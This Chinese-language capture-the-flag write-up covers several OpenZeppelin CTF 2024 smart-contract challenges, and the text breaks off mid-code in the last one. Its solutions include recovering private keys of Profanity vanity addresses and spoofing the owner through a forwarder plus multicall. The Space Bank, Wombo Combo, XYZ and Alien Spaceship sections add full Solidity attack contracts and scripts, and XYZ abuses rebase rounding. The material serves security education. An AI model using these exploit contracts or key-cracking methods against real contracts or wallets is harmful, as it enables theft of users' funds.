OpenZeppelin CTF 2024 Writeup

区块链安全 1个月前 admin

41 0 0

ZAN 团队 (zan_team) 和蚂蚁天穹实验室联合参与了最近举办的 OpenZeppelin CTF 比赛，在有效的 299 个参赛队伍中排名第 11，分数并列第三。

本次 CTF 共有 9 个 Challenge，我们的参赛团队共完成了 8 个 Challenge。

Beef

本次竞赛中最难也是最有戏剧性的一道题目，直到距离比赛结束还有 6 个多小时，东八区时间已经来到凌晨 1 点左右，仍然没有队伍解出这道题，直到比赛的最后阶段，才陆续有六个队伍完成了对本题的突破。

挑战合约几乎是一个简单的 OpenZeppelin 库下 ERC20 合约的 Copy，挑战创建时，创建了两个未知地址，并给这两个地址发送了 100 个 Token，我们的目的是将 ERC20 合约的 Total Supply 降低为 0，这就意味着我们必须获得这两个未知地址的私钥，并将这两个地址上的 Token 进行 burn 操作。

然而，我们都知道，反推出地址的私钥几乎是一个不可能完成的任务，除非我们今天就发明了量子计算机，并立刻将它应用在解决这道 CTF 题目上（而不是尝试破解我们团队的某个巨鲸的私钥😂），（By the way，即使量子计算机今天就出现，按照 Vitalik 的说法，以太坊也有能力拯救用户的资产，https://ethresear.ch/t/how-to-hard-fork-to-save-most-users-funds-in-a-quantum-emergency/18901）。

至此，题目好像陷入了僵局，在很长一段时间内，都没有队伍解决这道题目，出题人选择降低题目难度，两次给出 Hint，并表示愿意个人给出 150 美元的赏金，激励第一个解决这道题目的队伍。

OpenZeppelin CTF 2024 Writeup

在了解了本题的真实解法后，我们大受震撼，解决办法竟然真的是暴力破解出使用题目中地址的私钥，唯一的不同点是：我们其实并不需要一台量子计算机。

要解出这道题，首先我们必须在 Sepolia 区块链浏览器上，找出这两个地址发送的交易，随后，使用交易数据解析出地址对应的公钥。

https://sepolia.etherscan.io/address/0x00000f940f38270786962F6eC582B4EdEa4Bb440
https://sepolia.etherscan.io/address/0xbeef6B156a9cd241B95A841CDF3B18995C2E35CC

出题人在官方 Writeup 中给出的一个解析脚本：

def get_public_key(tx_raw):    txn_bytes = hexbytes.HexBytes(tx_raw)    typed_txn = signing.TypedTransaction.from_bytes(txn_bytes)
    msg_hash = typed_txn.hash()    hash_bytes = hexbytes.HexBytes(msg_hash)
    vrs = typed_txn.vrs()    v, r, s = vrs    v_standard = signing.to_standard_v(v)    vrs = (v_standard, r, s) 
    signature_obj = eth_keys.KeyAPI().Signature(vrs=vrs)    pubkey = signature_obj.recover_public_key_from_msg_hash(hash_bytes)
    return pubkey

拿到公钥后，下一步就是暴力破解私钥了，我们看到这两个地址其中一个以相当多的 0 开头，另一个以 beef 开头，这意味着他们是通过某种方式生成的“区块链靓号”。我们在思考到这一步后就放弃了这个思路，因为暴力破解私钥，这个解法看起来太过于惊人。

非常戏剧性的是，这两个地址是使用 Profanity (https://github.com/johguse/profanity) 生成的——一个已经因为私钥安全性而被废弃的靓号生成器。开发者在制作这款工具时，仅使用了 32bit 随机数作为 seed 用来生成私钥，以目前的商用型芯片算力（Apple M2 为例），完全可能在 1 小时之内，暴力破解出这款工具生成的地址对应的私钥。

OpenZeppelin 在官方题解中同样给出了一个暴力破解的开源工具。https://github.com/rebryk/profanity-brute-force

在破解了地址对应的私钥后，后面的流程就简单了，只需要使用这两个地址，burn 掉代币，即可完成挑战。

Space Bank

此题初始化时给 SpaceBank 合约铸造了 1000 个 token，解题目标是将 SpaceBank 中状态变量 exploded 置为 true，分析题目发现，通过调用合约 SpaceBank 中的 explodeSpaceBank 函数，当满足以下几个条件，可以将 exploded 置为 true：

当前的区块高度等于 alarmTime + 2，alarmTime 初始化时是 0，可修改。
_createdAddress 地址上没有代码。
SpaceBank 合约持有的token数量为 0。

为了构造这些条件，我们首先调用 SpaceBank 的 flashLoan 函数，从 SpaceBank 合约中借出指定数量 amount 的 token，值得注意的是，第一次闪电贷时不能指定 amount 为 1000，因为当 amount 大于等于 1000 时需要交手续费，然而在题目初始化条件中，解题的人是没有 token 的。因此我们首先指定 amount 为 500，闪电贷过程中会回调接收者（题解中的 Receiver 合约）的 executeFlashLoan 函数，在该函数中，我们将借出来的 500 个 token 通过 SpaceBank 的 deposit 函数存入 SpaceBank 合约中，如此操作不仅能在闪电贷结束时达到还清闪电贷的条件，还能在 SpaceBank 合约中有存款 500 个 token 的记录。当闪电贷结束时，即可调用 withdraw 函数，从 SpaceBank 合约中取出这 500 个 token。相当于在第一次闪电贷中，我们偷走了 SpaceBank 合约中的 500 个 token。

同样原理，我们可以进行第二次闪电贷，再偷走 SpaceBank 中剩余的 500 个 token。在这一次进行 deposit 时，传入的参数 data 是一个合约的 creationCode，该合约需要满足在创建之后合约的 codesize 是 0，因此我们在该合约的构造函数中直接 selfdestruct。具体合约为题解中的 Target 合约。

解题条件构造好了，可以直接调用合约 SpaceBank 中的 explodeSpaceBank 函数解题了。此处需要注意的是，根据题目要求，这一次调用需要在前两次闪电贷的后两个区块中调用。因此我们需要在脚本中多次调用 explodeSpaceBank 函数来推进区块。

解题合约：

contract Target {    constructor() payable {        selfdestruct(payable(msg.sender));    }
    receive() external payable {}}

// flashloan receivercontract Receiver {    uint256 count = 0;    SpaceBank public spaceBank;
    constructor() payable {
    }
    // flashloan callback    function executeFlashLoan(uint256 amount) external {        spaceBank = SpaceBank(msg.sender);        IERC20 spaceToken = spaceBank.token();
        if (count == 0) {            bytes memory data = abi.encode(block.number % 47);            spaceToken.approve(address(spaceBank), amount);            spaceBank.deposit(amount, data);            count++;
        } else if (count == 1) {            bytes memory data = type(Target).creationCode;
            bytes32 hash = keccak256(                abi.encodePacked(bytes1(0xff), address(spaceBank), block.number, keccak256(data))            );
            address target = address(uint160(uint(hash)));            (bool success, bytes memory res) = target.call{value: 1 ether}("");            require(success, "send eth failed");
            spaceToken.approve(address(spaceBank), amount);            spaceBank.deposit(amount, data);            count++;        }
    }
    function withdraw(uint256 amount) external {        spaceBank.withdraw(500);    }}

contract Attack {    Challenge public challenge;    SpaceBank public spaceBank;    IERC20 public spaceToken;
    constructor() payable {
    }
    // flashloan twice    function attack1(address challengeAddr) external {
        challenge = Challenge(challengeAddr);
        spaceBank = challenge.SPACEBANK();

        spaceToken = spaceBank.token();
        uint256 myToken = spaceToken.balanceOf(address(this));

        Receiver receiver = new Receiver{value: 1 ether}();
        // call flashLoan first time        spaceBank.flashLoan(500, address(receiver));        receiver.withdraw(500);
        // call flashloan second time        spaceBank.flashLoan(500, address(receiver));        receiver.withdraw(500);    }
    // call explodeSpaceBank    function attack2() external {        spaceBank.explodeSpaceBank();        require(spaceBank.exploded(), "attack failed");    }}

解题脚本：

before(async function () {
    accounts = await ethers.getSigners();    attacker = accounts[0];
    // 部署Attack合约    const Attack = await ethers.getContractFactory("contracts/attack.sol:Attack",attacker);    attack = await Attack.deploy({value: ethers.utils.parseEther("1")});
    // 等待合约部署完成    await attack.deployed();    console.log(`Attack contract deployed to: ${attack.address}`);});
it("solves the challenge", async function () {
    // 调用attack1    console.log("attack1 function called");    let currentBlockNumber = await ethers.provider.getBlockNumber();    console.log("attack1 block number:", currentBlockNumber);    let result = await attack.attack1(challengeAddress, {gasLimit: 1e7});    await ethers.provider.waitForTransaction(result.hash);    result = await ethers.provider.getTransactionReceipt(result.hash);    console.log("transaction hash :",result.hash," status:",result.status);    console.log("attack1 function called");
    // 循环调用，推进区块    for(let i = 0; i < 2; i++){        currentBlockNumber = await ethers.provider.getBlockNumber();        console.log("attack2 block number:", currentBlockNumber);        result = await attack.attack2({gasLimit: 1e7});        await ethers.provider.waitForTransaction(result.hash);        result = await ethers.provider.getTransactionReceipt(result.hash);        console.log("transaction hash :",result.hash," status:",result.status);        console.log("attack2 function called");    }});

Wombo Combo

此题是元交易 + Multicall 真实漏洞的缩略版本，详见《！！紧急自查！！OpenZeppelin 任意地址欺骗攻击分析》

此题的目标是获得 staking 合约 amazingNumber (合约一开始就存储了超过这个数值的量）数量的奖励代币，并发送到 0x123 这个地址上，这个合约有一个 notifyRewardAmount 函数可供 owner 调用，用来通知合约在此后一段时间（20s）内线性释放 amount 的奖励代币给所有质押者:

function notifyRewardAmount(uint256 _amount) external onlyOwner {    updateReward(address(0));    if (block.timestamp >= finishAt) {        rewardRate = _amount / duration;    } else {        uint256 remainingRewards = (finishAt - block.timestamp) * rewardRate;        rewardRate = (_amount + remainingRewards) / duration;    }
    require(rewardRate > 0, "reward rate = 0");    require(rewardRate * duration <= rewardsToken.balanceOf(address(this)), "reward amount > balance");
    finishAt = block.timestamp + duration;    updatedAt = block.timestamp;}

因此我们首先质押一笔代币，然后通过伪装成 owner 调用这个函数来给自己发送 amazingNumber 的奖励，来完成挑战。

可以注意到当 msg.sender 是 forwarder 合约时，msg.sender 会重定向为 calldata 的后 20 字节对应的地址：

function _msgSender() internal view virtual override returns (address sender) {    if (isTrustedForwarder(msg.sender)) {        // The assembly code is more direct than the Solidity version using `abi.decode`.        assembly {            sender := shr(96, calldataload(sub(calldatasize(), 20)))        }    } else {        return super._msgSender();    }}

而 forwarder 则是一个正常执行合约，在用户拥有 from 的签名情况下，可以代替 from 执行交易，并将真正的执行者 from 附加到 calldata 的后 20 位执行交易：

(bool success, bytes memory returndata) =    req.to.call{gas: req.gas, value: req.value}(abi.encodePacked(req.data, req.from));

看起来没什么问题，然而 staking 继承自 multicall 合约：

abstract contract Multicall {    /**     * @dev Receives and executes a batch of function calls on this contract.     */    function multicall(bytes[] calldata data) external returns (bytes[] memory results) {        results = new bytes[](data.length);        for (uint256 i = 0; i < data.length; i++) {            results[i] = Address.functionDelegateCall(address(this), data[i]);        }        return results;    }}

在 multicall 时，它会重新发起一个调用，并将 forwarder 调用的内容（原本为 calldata + from）修改为 calldata，同时 msg.sender 仍旧保持为 forwarder，因此通过 mutilcall，我们可以精心构造一个 delegatecall 的 calldata，前面是我们要调用的函数 notifyRewardAmount，后面 20 位是我们要伪装的 owner，这样我们就能伪装成 owner 发送 notifyRewardAmount 来通知发送奖励代币了：

function attack() external{  stakingToken.approve(address(staking),type(uint256).max);
  staking.stake(stakingToken.balanceOf(address(this)));
  bytes[] memory delegatecallData = new bytes[](1);  delegatecallData[0] = abi.encodeWithSelector(staking.notifyRewardAmount.selector,rewardToken.totalSupply(),uint256(uint160(staking.owner())));
  bytes memory callData = abi.encodeWithSelector(staking.multicall.selector,delegatecallData);
  Forwarder.ForwardRequest memory requst = Forwarder.ForwardRequest({from:address(this),to:address(staking),value:0,gas:gasleft() / 2,nonce:0,deadline:0,data:callData});
  bytes memory signature = new bytes(0);
  forwarder.execute{gas:gasleft()}(requst,signature);}

然后等奖励时间结束就可以获得 reward 发送给指定地址来完成挑战：

function getReward() external{  staking.getReward();
  rewardToken.transfer(target,amazingNumber);
  require(challenge.isSolved());}

Dutch

这是一道 vyper 题，挑战目标是将拍卖合约中的艺术品买下来，这个艺术品最高需要 1 个 WETH 购买：

 function deploy(address system, address) internal override returns (address challenge) {    vm.startBroadcast(system);
    IWETH weth = IWETH(deploy("src/", "WETH", ""));
    bytes memory args = abi.encode(system);    IERC721Extended art = IERC721Extended(deploy("src/", "Art", args));
    args = abi.encode(1 ether, 1 ether / uint256(7 days), art, 0, address(weth));    IAuction auction = IAuction(deploy("src/", "Auction", args)); ... }

而一开始用户拥有 1000 个 ETH，只需要将 ETH 兑成 WETH，就可以买下艺术品，完成挑战：

weth.deposit{value:100 ether}();
weth.approve(address(auction),type(uint256).max);
auction.buy();
require(challenge.isSolved());

XYZ

此题是 raft 攻击事件的简易版本，详见：https://twitter.com/BlockSecTeam/status/1723229393529835972

此题的目标是获得 250000000 枚 xyz 代币并发送给指定地址。一开始我们拥有 6000 枚 seth 代币，可以通过 2207 的价格可以借出约 10000000 枚 xyz，然而这个数量是远远不够的。

可以注意到一开始我们拥有一个可以被清算的仓位，这是出题人算好的，他将这个仓位的负债从 3395 增加到 3520，正好低于 manager 要求的健康度 1.3:

manager.manage(sETH, 2 ether, true, 3395 ether, true);
(, ERC20Signal debtToken,,,) = manager.collateralData(IERC20(address(sETH)));manager.updateSignal(debtToken, 3520 ether);

而通过清算可以做什么呢？注意到他的存款记账代币 “xyz seth_collateral” 是个 rebase 代币，并且他会在清算时重新计算 share 和真正存款数量之间的比例 signal:

function _updateSignals(    IERC20 token,    ERC20Signal protocolCollateralToken,    ERC20Signal protocolDebtToken,    uint256 totalDebtForCollateral) internal {    protocolDebtToken.setSignal(totalDebtForCollateral);    protocolCollateralToken.setSignal(token.balanceOf(address(this)));}

function setSignal(uint256 backingAmount) external onlyManager {    uint256 supply = ERC20.totalSupply();    uint256 newSignal = (backingAmount == 0 && supply == 0) ? ProtocolMath.ONE : backingAmount.divUp(supply);    signal = newSignal;}

因此是可以通过往 manager 里面转账，增加 balance，之后通过清算来扩大 signal 的。

同时注意到他的存款记账代币是向上取整的：

function mint(address to, uint256 amount) external onlyManager {    _mint(to, amount.divUp(signal));}

因此，1 wei 就可以得到 1 share 存款记账代币，并且可以借出相应数量的xyz。

那么思路就很清晰了，我们可以先将 2.1 个 seth 抵押借出可以用来清算这个仓位所需的 xyz，然后将剩下代币转入 manager 合约，接着清算扩大他的 signal。之后我们拿着清算获得的 seth，反复用 1 wei 去获得 1 share 存款记账代币，然后借出相应的 xyz，直到我们达到目标所需的 balance，完成挑战:

Attacker attacker = new Attacker(address(challenge));
Token seth = challenge.seth();Token xyz = challenge.xyz();seth.transfer(address(attacker),6000 ether);
attacker.attack();
uint256 amount = xyz.balanceOf(address(attacker));
while(amount < targetAmount){    attacker.attack2();    amount = xyz.balanceOf(address(attacker));}
attacker.attack3();
require(challenge.isSolved());

function attack() external{
    updateSignal();
    require(seth.balanceOf(address(this)) == 6000 ether);
    address owner =  manager.owner();
    uint256 onwerDebt = debt.balanceOf(owner);
    uint256 minCollateralAmount = getMinCollateralAmount(onwerDebt);
    manager.manage(IERC20(seth),minCollateralAmount,true,onwerDebt,true);
    seth.transfer(address(manager),seth.balanceOf(address(this)));
    manager.liquidate(owner);
    updateSignal();}
function attack2() external{    uint256 borrowAmount = getMaxBorrowAmount(1);    for(uint256 i=0;i<50;i++){        manager.manage(IERC20(seth),1,true,borrowAmount,true);    }}
function attack3() external{    require(xyz.balanceOf(address(this)) > targetAmount);    xyz.transfer(target,targetAmount);}

Greedy Sad Man

本次比赛唯一一道 Cairo 题目，合约逻辑十分简单，合约中有一个位于 Storage 的数组 donations 和一个 Bool 值 sadness， sadness 在合约初始化时被设置为 True。解题目标是将 sadness 值设置为 False，但合约本身并没有提供修改 sadness 的接口。因此我们可以大胆假设，通过对数组 donations 的操作，我们有机会影响 sadness 对应的存储位置的值。

仔细观察合约源码，可以看到一处非常奇怪的地方，在 donations 数组的 read_at 函数中，居然出现了一个 write 操作，将 index（数组下标）转化为 storage 地址后，将该位置对应的值修改为了默认值（0）。很明显这就是我们需要的漏洞代码，我们后面要做的就是将 sadness 对应的 storage 地址，转化为 felt252 整数，并将其作为数组下标，传入这个函数，即可完成对 sandess 的修改。

  fn read_at(self: @StorageArray<T>, index: felt252) -> T {      let storage_address_felt: felt252 = storage_address_from_base(*self.base).into();      let element_address = poseidon_hash_span(          array![storage_address_felt + index.into()].span()      );
      TStore::write(*self.address_domain, base_from_felt(index), Default::default())            .unwrap_syscall();      TStore::read(*self.address_domain, base_from_felt(element_address)).unwrap_syscall()  }

比赛中我们在合约中插入了如下的函数来计算 sadness 对应的存储位置和对应的整数（index）。计算出的这个数即为本题的 flag。

fn get_sadness_address(self: @ContractState) -> felt252 {    let address = storage_address_from_base(self.sadness.address()).into();    address}

Alien Spaceship

Solidity 字节码逆向题，主要难点在于从反编译代码中搞懂合约逻辑，好在这次使用的合约函数签名有不少可以查到，略微降低了理解难度。

题目的解题条件是将合约中的 aborted 变量设置为 true，要做到这一点，设置该变量的代码（反编译）后如下。

function 0x7235a6d5() public payable {   require(0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d == _roles[msg.sender].field0, Error('Invalid role'));  v0 = 0x1465(stor_5, stor_4, _position);  require(v0 < 10 ** 24, Error('Must be within 1000km to abort mission'));  require(stor_6 < 10 ** 21, Error('Must be weigh less than 1000kg to abort mission'));  require(stor_2 > 0, Error('Must visit Area 51 and scare the humans before aborting mission'));  require(0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 != EXTCODEHASH(msg.sender));  stor_1_1_1 = 1;  emit 0x36ecdc9a6fcd7296bb9e8ba1d0346958e5dc548c84186d854d2c4e65691ceed6();}

可以看到，要成功调用这个函数，必须满足三个条件：

调用者必须是 0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d（Captain）角色。
通过合约存储 stor_5，stor_4（推测这两个变量代表的意义为坐标）计算出的值（distance） < 10 ** 24。
合约存储 stor_6 < 10 ** 21，根据错误提示，推测这里存储的是飞船重量。
合约存储 stor_2 的值必须 > 1，表示飞船已经访问过 51 区。

接下来我们就根据分析出的这 4 个条件逐个击破。仔细阅读合约字节码，我们发现调用者是无法直接成为 Captain 角色的，要想成为 Captain 角色，调用者首先必须成为 Physicist 角色，然而 Physcist 角色也无法直接申请，必须满足合约本身的角色也是 Engineer 这个条件。

function 0xa15184c7(uint256 varg0) public payable {   require(msg.data.length - 4 >= 32);  v0 = v1 = varg0 == 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564;  if (varg0 != 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564) {    v0 = v2 = varg0 == 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c;  }  if (!v0) {    v0 = v3 = varg0 == 0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d;  }  if (!v0) {    v0 = v4 = varg0 == 0x720a004d39b816addddcfa184666132ae9e307670a4e534d64e0af23c84ee0e1;  }  require(v0, Error('Invalid role'));  require(!_roles[msg.sender].field0, Error('Use the applyForPromotion function to get promoted'));  if (varg0 != 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c) {    v5 = v6 = varg0 == 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564;    if (v6) {      v5 = v7 = 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c == _roles[this].field0;    }    if (!v5) {      require(varg0 == 0x720a004d39b816addddcfa184666132ae9e307670a4e534d64e0af23c84ee0e1, Error('Role is not hiring'));      v8 = new uint256[](115);      MEM[v8.data] = 'There is no blockchain security ';      MEM[MEM[64] + 100] = 'researcher position on the space';      MEM[MEM[64] + 132] = "ship but we've heard that OpenZe";      MEM[MEM[64] + 164] = 'ppelin is hiring :)';      revert(Error(v8));    } else {      _roles[msg.sender].field0 = 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564;      _roles[msg.sender].field1 = block.timestamp;      emit 0xd7b59a7335373cd670f56aaac22cb24e2d3b6efaa5f7eef93ae4d79b2d4f3ec2(msg.sender, 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564);    }  } else {    _roles[msg.sender].field0 = 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c;    _roles[msg.sender].field1 = block.timestamp;    emit 0xd7b59a7335373cd670f56aaac22cb24e2d3b6efaa5f7eef93ae4d79b2d4f3ec2(msg.sender, 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c);  }}

可以看到这个条件本身非常可疑，正常来说，合约本身是无法发起主动调用的，除非它具有调用自己的能力。从这个疑点出发，我们找到了反编译合约中的这段代码：

function 0xea93bc96(bytes varg0) public payable {   require(msg.data.length - 4 >= 32);  require(varg0 <= uint64.max);  require(4 + varg0 + 31 < msg.data.length);  require(varg0.length <= uint64.max);  require(4 + varg0 + varg0.length + 32 <= msg.data.length);  require(0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c == _roles[msg.sender].field0, Error('Invalid role'));  CALLDATACOPY(v0.data, varg0.data, varg0.length);  MEM[varg0.length + v0.data] = 0;  v1, /* uint256 */ v2 = address(this).call(v0.data).gas(msg.gas);  if (RETURNDATASIZE() != 0) {    v3 = new bytes[](RETURNDATASIZE());    RETURNDATACOPY(v3.data, 0, RETURNDATASIZE());  }  require(v1, Error('Experiment failed!'));}

可以看到，我们可以随意给该合约传递 calldata，让它自己调用自己的 0xa15184c7 函数，从而使得我们能够申请成为 Physicist，并为最终成为 Captain 创造条件。

至此攻击链路已经清晰了，我们要做的事情可以分为几个阶段进行：

我们使用一个 EOA 申请成为 Engineer，并调用 0xea93bc96，让合约自己调用自己，使其成为 Engineer。
我们部署一个攻击合约，在攻击合约构造函数中，申请成为 Physicist（绕过申请成为科学家必须是EOA的检查）。
我们使用 EOA，调用降低飞船负载的函数，使飞船重量降低下来，随后使用攻击合约（角色为 Physicist）开启虫洞功能（为 Captain 访问 51 区做准备），这里利用到了合约在构造函数执行时，codesize 仍然为 0，从而绕过函数中的 EOA 检查。
我们使用攻击合约申请成为 Captain，并调用 visitArea51 函数，将 stor_2 设置为 1，从而满足终止任务的条件 4，注意这里需要用到一次整数溢出，使得调用者地址和传入参数相加被溢出为 51。
我们使用攻击合约调用 jumpThroughWormhole 修改 stor_4 和 stor_5，将飞船的 distance 降低到 10 ** 24 以下，再次使用 EOA 降低飞船重量，满足条件 2 和条件 3。
最终调用 0x7235a6d5 终止任务。

可以看到攻击链路十分长，最终我们完整的攻击脚本如下：

// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;
import "src/Challenge.sol";import {Challenge} from "src/Challenge.sol";import "forge-std/Script.sol";
contract Solve is Script {  bytes32 constant private captain = 0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d;  bytes32 constant private engineer = 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c;  bytes32 constant private physicist = 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564;
  function run() external {    vm.startBroadcast(0xd6e9eb58905fcd3fb7551fb347a3cb0c164b9b421003892f53e556cc3d43e2b9);
    address challenge = 0xe4Cff8Ca8fbe8EE2A8C9127d3d4119f908eF3609;    address alienspaceship = address(Challenge(challenge).ALIENSPACESHIP());
    AlienSpaceShip(alienspaceship).applyForJob(engineer);    bytes memory data = abi.encodeWithSelector(AlienSpaceShip.applyForJob.selector, engineer);    AlienSpaceShip(alienspaceship).runExperiment(data);
    // 丢弃负重    AlienSpaceShip(alienspaceship).dumpPayload(4400000000000000000000);    AlienSpaceShip(alienspaceship).quitJob();    AlienSpaceShip(alienspaceship).applyForJob(physicist);    AlienSpaceShip(alienspaceship).enableWormholes();
    //         合约申请成为科学家 构造函数    Pwn pwn = new Pwn(alienspaceship);    console2.log("pwn address: ", address(pwn));
    // 合约申请成为船长 调整位置 进入虫洞和51区    Pwn pwn = Pwn(address(0xbdCFD67E18713e6BFc1798e816573B8022051286));    pwn.promote_and_move();
    // EOA再次清除负重    AlienSpaceShip(alienspaceship).quitJob();    AlienSpaceShip(alienspaceship).applyForJob(engineer);    uint256 mass = AlienSpaceShip(alienspaceship).payloadMass();    AlienSpaceShip(alienspaceship).dumpPayload(mass - 500000000000000000001);
    // 合约终止任务    pwn.abort();  }}
contract Pwn {  bytes32 constant private captain = 0x3a1665efe60dbe93a7cdcf728baddc0d7ebafe407d444d0de3ed20e1e52a6a0d;  bytes32 constant private engineer = 0x56a2da3687a5982774df44639b06a410da311ff14844c2f7ff0cab50d681571c;  bytes32 constant private physicist = 0xb5b6b705a01c9fbc2f5b52325436afd32f5988596d999716ad1711063539b564;  // physicist -> captain  address private alienspaceship;
  constructor(address _alienspaceship) {    alienspaceship = _alienspaceship;    AlienSpaceShip(alienspaceship).applyForJob(physicist);    AlienSpaceShip(alienspaceship).enableWormholes();  }
  // Transaction1 调整位置和负重  function promote_and_move() external {    // 成为船长 调整位置    AlienSpaceShip(alienspaceship).applyForPromotion(captain);
    AlienSpaceShip(alienspaceship).visitArea51(calculate(address(this)));    AlienSpaceShip(alienspaceship).jumpThroughWormhole(0, 0, 10 ** 23 + 1);  }
  function abort() external {    // 重新成为船长 结束任务    AlienSpaceShip(alienspaceship).abortMission();  }
  function calculate(address at) public pure returns (address) {    uint256 mod = uint256(type(uint160).max) + 52;    uint160 last = uint160(uint256(mod - uint256(uint160(at))));    return address(last);  }}
interface AlienSpaceShip {  function applyForJob(bytes32) external; //0xa15184c7
  function applyForPromotion(bytes32) external; // 0x8c0ff94b
  function abortMission() external;
  function quitJob() external;
  function visitArea51(address) external; // 0x6f445300
  function dumpPayload(uint256) external; // 0x4e85c36e
  function runExperiment(bytes calldata) external; // 0xea93bc96
  function enableWormholes() external; // 0xe42c7669
  function position() external returns (uint256, uint256, uint256);
  function distance() external returns (uint256);
  function jumpThroughWormhole(int256, int256, int256) external; // 0x183aa328
  function payloadMass() external returns (uint256); // 0xf705b2e2}

Dutch 2

此题初始化时给 AuctionManager 合约 mint 了 10000 * 1e6 个 quoteToken 和 100 * 1e18 个 baseToken，给解题的人分别 mint 了 100 ether 的 quoteToken 和 baseToken。题目目标是将 AuctionManager 合约的所有 quoteToken 取出来。

此题是一个关于拍卖竞标的项目，任何人都可以创建拍卖，其他人参与竞拍。不同时间阶段，拍卖处于不同的状态。当状态为 Reveal 时，可以通过调用 finalize 函数对拍卖进行一个确定，将状态转为 Final。Final 状态要求 auction.data.quoteLowest != type(uint128).max，然而在 finalize 时，并未对用户传入的参数 quote 做任何限制，该参数最终赋值给了 auction.data.quoteLowest。那么调用者可以将入参设置为 type(uint128).max，最终将 auction.data.quoteLowest 修改成了 type(uint128).max。这就导致 finalize 后拍卖的状态并未变成 Final，反而为取消拍卖创造了条件。

if (block.timestamp < auction.time.start) {    if (state != States.Created) revert();} else if (block.timestamp < auction.time.end) {    if (state != States.Accepting) revert();} else if (auction.data.quoteLowest != type(uint128).max) {    if (state != States.Final) revert();} else if (block.timestamp <= auction.time.end + 24 hours) {    if (state != States.Reveal) revert();} else if (block.timestamp > auction.time.end + 24 hours) {    if (state != States.Void) revert();} else {    revert();}

清楚了漏洞点以后，我们来看看具体如何利用该漏洞盗取 AuctionManager 合约的 quoteToken。

在调用 AuctionManager 合约的 finalize 函数时，如前面所述，我们将入参 quote 设置为 type(uint128).max，从而将 auction.data.quoteLowest 修改成了 type(uint128).max。

finalize 函数最后，会将未完成拍卖的 baseToken 还给拍卖发起者，数量为 data.totalBase - data.baseFilled，并将拍卖得到的 quoteToken 转给拍卖发起者。此时拍卖发起者既拿回了未拍卖出去的 baseToken，也获得了拍卖所得的 quoteToken，其跟合约是两清的状态。并且此时 auction.parameters.totalBase 被设置成了 data.baseFilled（被竞拍成功的 baseToken 的数量）。

然而由于此时 auction.data.quoteLowest == type(uint128).max，达到了取消拍卖的条件，所以拍卖发起者可以调用 auctionCancel 函数取消拍卖，于是合约将 auction.parameters.totalBase这么多的 baseToken 还给了拍卖发起者。用一句话说就是拍卖发起者最终没有付出任何 baseToken，却将竞拍者的 quoteToken 收入囊中了。不仅如此，取消拍卖时还将 auction.time.end 设置成了 type(uint32).max，让拍卖的状态变成了 Accepting，在这个状态，竞拍者可以调用 bidCancel 函数，取回自己竞拍付出的 quoteToken。此时的 quoteToken，就是真真切切是原本属于 AuctionManager 合约的 quoteToken 啦。到这儿，就成功薅空了 AuctionManager 合约的 quoteToken。

if (data.totalBase != data.baseFilled) {    auction.parameters.totalBase = data.baseFilled;    ERC20(auction.parameters.tokenBase).safeTransfer(auction.data.seller, data.totalBase - data.baseFilled);}
ERC20(auction.parameters.tokenQuote).safeTransfer(auction.data.seller, quote.mulDivDown(data.baseFilled, base));

function auctionCancel(uint256 id) external {    Auction storage auction = auctions[id];
    if (auction.data.seller != msg.sender) revert();    if (type(uint128).max != auction.data.quoteLowest) revert();
    auction.data.seller = address(0);    auction.time.end = type(uint32).max;
    ERC20(auction.parameters.tokenBase).safeTransfer(msg.sender, auction.parameters.totalBase);}

function bidCancel(uint256 id, uint256 index) external {    Auction storage auction = auctions[id];    BidEncrypted storage bid = auction.bids[index];
    if (msg.sender != bid.sender) revert();    if (block.timestamp >= auction.time.end) {        if (block.timestamp <= auction.time.end + 24 hours || auction.data.quoteLowest != type(uint128).max) {            revert();        }    }
    bid.commit = 0;    bid.sender = address(0);
    ERC20(auction.parameters.tokenQuote).safeTransfer(msg.sender, bid.amountQuote);}

解题时，我们需要自己模拟拍卖的流程，首先拍卖发起者（题解中的 Attack 合约）发起拍卖，竞拍者（题解中的 Bidder 合约）参与拍卖，在这个过程中，我们将拍卖发起者想要拍卖的 baseToken 数量、竞拍者愿意付出的quoteToken数量、竞拍者想要竞拍的 baseToken 数量均设置为题目初始化时 AuctionManager 合约持有的 quoteToken 数量，以此一次性薅空 AuctionManager 合约的 quoteToken 数量。为了简化解题，在发起拍卖时，我们将 baseToken 和 quoteToken 都设置成了题目中的 quoteToken。完整的解题代码如下：

contract Bidder {    using FixedPointMathLib for uint128;    using SafeTransferLib for ERC20;
    address public challengeAddr = xxx;    Challenge public challenge = Challenge(challengeAddr);    AuctionManager public auctionManager = challenge.auction();    ERC20 public baseToken = challenge.quoteToken();    ERC20 public quoteToken = challenge.quoteToken();
    constructor() {        baseToken.approve(address(auctionManager), type(uint128).max);    }
    // add bid    function bid() external returns(bytes32) {        Math.Point memory point1 = Math.publicKey(0xabcd);        bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
        // proof        bytes32[] memory proofs = new bytes32[](0);
